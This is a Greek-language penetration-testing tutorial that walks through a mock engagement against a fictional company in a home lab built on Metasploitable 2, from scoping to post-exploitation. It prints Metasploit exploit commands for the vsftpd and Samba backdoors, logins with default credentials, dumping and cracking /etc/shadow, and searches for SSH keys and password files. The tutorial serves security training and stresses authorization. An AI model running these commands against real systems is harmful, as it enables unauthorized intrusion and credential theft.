The Full Audit: A Complete Penetration Test from Start to Finish

Το Μονοπάτι του Χάκερ: Σειρά 5 Μερών

Μέρος 1: Εισαγωγή → Μέρος 2: Εξειδίκευση Flipper → Μέρος 3: Βασικά Kali → Μέρος 4: Εκμετάλλευση → Μέρος 5: Ο Πλήρης Έλεγχος

Ξεκινήσατε αυτή τη σειρά αναρωτώμενοι τι κάνουν πραγματικά οι χάκερ. Μάθατε ότι δεν πρόκειται για κουκούλες και πράσινο κείμενο. Είναι μεθοδική επίλυση προβλημάτων. Κλωνοποιήσατε κάρτες, χαρτογραφήσατε δίκτυα, συλλάβατε handshakes και αποκτήσατε shells σε ευάλωτα μηχανήματα.

Τώρα τα ενώνουμε όλα. Αυτό το άρθρο σας καθοδηγεί σε μια πλήρη δοκιμή διείσδυσης εναντίον ενός φανταστικού στόχου. Κάθε φάση, κάθε απόφαση, κάθε εύρημα, τεκμηριωμένο ακριβώς όπως θα το έκανε ένας επαγγελματίας.

Το Σενάριο

Πελάτης: Initech Labs (μια φανταστική μικρή εταιρεία τεχνολογίας)

Πεδίο: Δοκιμή διείσδυσης εσωτερικού δικτύου

Στόχος: Εντοπισμός ευπαθειών και επίδειξη πιθανού επιχειρηματικού αντίκτυπου

Ο στόχος σας: Το δικό σας δίκτυο εργαστηρίου (Kali + Metasploitable 2 + οποιαδήποτε άλλη VM έχετε ρυθμίσει)

Πάρτε έναν καφέ. Θα είναι διασκεδαστικό.

Φάση 1: Προ-Δέσμευση

Πριν αγγίξετε πληκτρολόγιο, οι επαγγελματίες pentesters αντιμετωπίζουν την επιχειρηματική πλευρά. Παρακάμψτε αυτό, και δεν είστε pentester. Είστε απλά κάποιος που διαπράττει εγκλήματα.

Η Κλήση Καθορισμού Πεδίου

Σε μια πραγματική δέσμευση, θα είχατε μια κλήση με τον πελάτη για να κατανοήσετε:

Τι είναι εντός πεδίου; Ποια δίκτυα, εύρη IP, εφαρμογές;
Τι είναι εκτός πεδίου; Συστήματα παραγωγής; Υπηρεσίες τρίτων;
Παράθυρο δοκιμών; Πότε μπορείτε να δοκιμάσετε; Μόνο εργάσιμες ώρες;
Σημεία επαφής; Ποιον καλείτε αν κάτι χαλάσει;
Στόχοι; Συμμόρφωση ή πραγματική βελτίωση ασφάλειας;

Για το Εργαστήριό σας

Πεδίο: Μόνο το απομονωμένο δίκτυο εργαστηρίου σας. Εκτός πεδίου: Όλα τα υπόλοιπα στον πλανήτη. Παράθυρο δοκιμών: Όποτε θέλετε. Στόχος: Μάθηση μέσω πράξης.

Κανόνες Δέσμευσης

Οι πραγματικές δεσμεύσεις έχουν γραπτούς κανόνες. Τι καλύπτουν συνήθως:

Επιστολή εξουσιοδότησης - Υπογεγραμμένο έγγραφο που αποδεικνύει ότι έχετε άδεια
Διαδικασίες κλιμάκωσης - Τι να κάνετε αν βρείτε κάτι κρίσιμο
Χειρισμός δεδομένων - Πώς να χειριστείτε ευαίσθητα δεδομένα που συναντάτε
Απαιτήσεις καθαρισμού - Αφαίρεση όλων των εργαλείων και backdoors μετά το τέλος
Χρονοδιάγραμμα αναφοράς - Πότε πρέπει η τελική αναφορά;

Πάντα Εξασφαλίστε Γραπτή Άδεια

Ακόμα και για "φιλικές" δοκιμές στο δίκτυο ενός φίλου. Ένα υπογεγραμμένο email που λέει "έχετε άδεια να δοκιμάσετε το δίκτυό μου από ΗΜΕΡΟΜΗΝΙΑ έως ΗΜΕΡΟΜΗΝΙΑ" θα μπορούσε να είναι η διαφορά μεταξύ μιας μαθησιακής εμπειρίας και μιας ποινικής καταδίκης. Πάρτε το σοβαρά.

Φάση 2: Αναγνώριση

Ώρα να μάθετε τα πάντα για τον στόχο. Σε μια πραγματική δέσμευση, αυτό θα περιλάμβανε OSINT: αναζητήσεις Google, προφίλ LinkedIn, ιστοσελίδες εταιρείας, εγγραφές DNS. Για το εργαστήριό μας, πηγαίνουμε κατευθείαν στην ενεργή αναγνώριση.

Βήμα 1: Ανακάλυψη Δικτύου

Πρώτη ερώτηση: Τι υπάρχει σε αυτό το δίκτυο;

bash# Βρείτε το εύρος δικτύου σας
ip a | grep inet
# Ψάξτε κάτι σαν: inet 192.168.56.100/24

# Ανακαλύψτε όλους τους ενεργούς hosts
sudo nmap -sn 192.168.56.0/24 -oA discovery

# Αποτελέσματα (παράδειγμα):
Nmap scan report for 192.168.56.1
Host is up (0.00032s latency).
Nmap scan report for 192.168.56.101
Host is up (0.00089s latency).
Nmap scan report for 192.168.56.102
Host is up (0.00045s latency).

Τεκμηριώστε τα πάντα. Δημιουργήστε ένα σημείωμα:

text# Initech Labs - Ανακάλυψη Δικτύου
# Ημερομηνία: 2026-03-08
# Tester: Το Όνομά Σας

192.168.56.1   - Gateway/Router
192.168.56.101 - Άγνωστο (προς διερεύνηση)
192.168.56.102 - Άγνωστο (προς διερεύνηση)

Βήμα 2: Σάρωση Θυρών

Τώρα σκάβουμε βαθύτερα. Ποιες υπηρεσίες τρέχουν;

bash# Πλήρης σάρωση θυρών με ανίχνευση υπηρεσιών
sudo nmap -sV -sC -p- -oA full_scan 192.168.56.101

# Αυτό παίρνει χρόνο. Για πιο γρήγορα αποτελέσματα κατά τη μάθηση:
sudo nmap -sV -sC --top-ports 1000 -oA quick_scan 192.168.56.101

Στο Metasploitable 2, θα δείτε έναν θησαυρό:

textPORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
80/tcp   open  http        Apache httpd 2.2.8
139/tcp  open  netbios-ssn Samba smbd 3.X
445/tcp  open  netbios-ssn Samba smbd 3.X
3306/tcp open  mysql       MySQL 5.0.51a
5432/tcp open  postgresql  PostgreSQL DB
...

Τι έκθεση. Ενημερώνουμε τις σημειώσεις μας:

text192.168.56.101 - Linux Server (Metasploitable)
  - FTP (21): vsftpd 2.3.4       # Γνωστό backdoor!
  - SSH (22): OpenSSH 4.7p1      # Αρχαίο
  - Telnet (23): Ενεργό           # Γιατί υπάρχει αυτό το 2026;
  - HTTP (80): Apache 2.2.8      # Web apps για δοκιμή
  - SMB (139/445): Samba 3.X     # Πιθανό χρυσωρυχείο
  - MySQL (3306): 5.0.51a        # Πρόσβαση βάσης δεδομένων;
  - PostgreSQL (5432): Ενεργό    # Άλλη ΒΔ

Βήμα 3: Αναγνώριση Ευπαθειών

Ώρα να δούμε τι είναι πραγματικά εκμεταλλεύσιμο.

bash# Εκτέλεση scripts ευπαθειών
sudo nmap --script vuln -oA vuln_scan 192.168.56.101

# Έλεγχος συγκεκριμένων υπηρεσιών στο Metasploit
msfconsole
msf6 > search vsftpd
msf6 > search samba 3
msf6 > search apache 2.2

Το backdoor του vsftpd 2.3.4 ξεπηδά αμέσως. Είναι ένα εγγυημένο shell. Αλλά ένας καλός pentester δεν σταματά στο πρώτο εύρημα. Τεκμηριώνετε τα πάντα.

Αίθουσα εξυπηρετητών με εξοπλισμό δικτύου — Η ενδελεχής αναγνώριση χαρτογραφεί ολόκληρη την επιφάνεια επίθεσης πριν εκτελεστεί ένα μόνο exploit. Κάθε ανοιχτή θύρα και έκδοση υπηρεσίας γίνεται σημείο δεδομένων στην αξιολόγησή σας.

Φάση 3: Εκμετάλλευση

Εδώ τα πράγματα γίνονται συναρπαστικά. Έχουμε πολλαπλά πιθανά σημεία εισόδου. Ας τα επεξεργαστούμε συστηματικά.

Φορέας Επίθεσης 1: FTP Backdoor

bashmsf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set RHOSTS 192.168.56.101
msf6 exploit(...) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned
[+] Command shell session 1 opened

whoami
root

id
uid=0(root) gid=0(root)

Τεκμηριωμένο εύρημα: Root shell αποκτήθηκε μέσω FTP backdoor. Χρόνος από την πρώτη σάρωση μέχρι πλήρη παραβίαση: περίπου 10 λεπτά.

Root shell αποκτήθηκε μέσω FTP backdoor. Χρόνος από την πρώτη σάρωση μέχρι πλήρη παραβίαση: περίπου 10 λεπτά.

Αλλά δεν σταματάμε εδώ. Τι άλλο μπορούμε να αποκτήσουμε;

Φορέας Επίθεσης 2: Samba

bash# Βάζουμε την τρέχουσα συνεδρία στο background
background

msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS 192.168.56.101
msf6 exploit(...) > exploit

[*] Command shell session 2 opened

whoami
root

Ένα ακόμη root shell μέσω διαφορετικού φορέα. Δύο ανεξάρτητα μονοπάτια προς πλήρη παραβίαση.

Φορέας Επίθεσης 3: Web Εφαρμογές

Ας δούμε τι τρέχει στη θύρα 80.

bash# Απαρίθμηση web καταλόγων
gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt

# Αποτελέσματα:
/cgi-bin/     (Status: 403)
/dav/         (Status: 301)
/icons/       (Status: 301)
/index        (Status: 200)
/phpMyAdmin/  (Status: 301)
/phpinfo      (Status: 200)
/test/        (Status: 301)
/twiki/       (Status: 301)

# Εκτέλεση nikto για περισσότερα ευρήματα
nikto -h http://192.168.56.101

phpMyAdmin με προεπιλεγμένα διαπιστευτήρια; Ας ελέγξουμε:

text# Δοκιμή κοινών διαπιστευτηρίων
Username: root
Password: (κενό)

# Πρόσβαση εγκρίθηκε!

Πρόσβαση διαχειριστή βάσης δεδομένων χωρίς κωδικό. Από εδώ, θα μπορούσαμε να εξάγουμε όλα τα δεδομένα, να τροποποιήσουμε εγγραφές ή να χρησιμοποιήσουμε τις λειτουργίες αρχείων της MySQL για να γράψουμε ένα web shell.

Φορέας Επίθεσης 4: Αδύναμα SSH Διαπιστευτήρια

bashmsf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.56.101
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run

[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Τα αδύναμα διαπιστευτήρια παρέχουν πρόσβαση SSH. Όχι root, αλλά θα το αντιμετωπίσουμε στη μετα-εκμετάλλευση.

Φάση 4: Μετα-Εκμετάλλευση

Έχουμε πρόσβαση. Τώρα τι; Μια πραγματική δοκιμή διείσδυσης αποδεικνύει τον επιχειρηματικό αντίκτυπο. Τι μπορεί πραγματικά να κάνει ένας επιτιθέμενος με αυτή την πρόσβαση;

Συγκομιδή Διαπιστευτηρίων

bash# Από το root shell μας
cat /etc/shadow
root:$1$xyz...truncated...:14889:0:99999:7:::
msfadmin:$1$abc...truncated...:14889:0:99999:7:::
user:$1$def...truncated...:14889:0:99999:7:::
postgres:$1$ghi...truncated...:14889:0:99999:7:::

# Αποθήκευση για offline cracking
cat /etc/passwd > /tmp/passwd.txt
cat /etc/shadow > /tmp/shadow.txt

# Στο Kali, cracking
unshadow passwd.txt shadow.txt > combined.txt
john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt

Αναγνώριση Δικτύου (Από Μέσα)

bash# Σε ποια άλλα δίκτυα μπορεί να φτάσει αυτό το μηχάνημα;
ifconfig
route -n
cat /etc/hosts
arp -a

# Τι συνδέεται σε αυτό το μηχάνημα;
netstat -tulpn
ss -tulpn

# Αναζήτηση SSH κλειδιών (για lateral movement)
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

Ανακάλυψη Ευαίσθητων Δεδομένων

bash# Αναζήτηση ενδιαφερόντων αρχείων
find / -name "*.conf" 2>/dev/null | head -20
find / -name "*.sql" 2>/dev/null
find / -name "*.bak" 2>/dev/null
find / -name "*password*" 2>/dev/null

# Έλεγχος κοινών τοποθεσιών διαμόρφωσης
cat /var/www/*/config.php 2>/dev/null
cat /etc/mysql/my.cnf

# Απαρίθμηση βάσης δεδομένων
mysql -u root -p  # Δοκιμή κενού κωδικού
mysql> SHOW DATABASES;
mysql> SELECT * FROM mysql.user;

Κλιμάκωση Προνομίων (από msfadmin)

Θυμάστε εκείνη τη σύνδεση SSH ως msfadmin; Ας κλιμακώσουμε σε root χρησιμοποιώντας ό,τι μάθαμε στο Μέρος 4.

bash# SSH ως msfadmin
ssh [email protected]

# Έλεγχος δικαιωμάτων sudo
sudo -l

# Εύρεση SUID binaries
find / -perm -4000 2>/dev/null

# Αναζήτηση εγγράψιμων scripts που εκτελούνται από root
cat /etc/crontab

# Ανέβασμα και εκτέλεση LinPEAS
# (Σε πραγματικό σενάριο, ήδη καλύφθηκε στο Μέρος 4)

Επαγγελματίας που εργάζεται σε γραφείο με εργαλεία κυβερνοασφάλειας — Η μετα-εκμετάλλευση αποδεικνύει τον πραγματικό επιχειρηματικό αντίκτυπο. Η διαφορά μεταξύ σάρωσης ευπαθειών και δοκιμής διείσδυσης είναι η απόδειξη του τι μπορεί πραγματικά να κάνει ένας επιτιθέμενος.

Φάση 5: Τεκμηρίωση και Ευρήματα

Η δοκιμή είναι άχρηστη χωρίς αναφορά. Αυτό ξεχωρίζει τους επαγγελματίες από τους script kiddies. Πρέπει να εξηγήσετε τι βρήκατε, γιατί έχει σημασία και πώς να το διορθώσετε.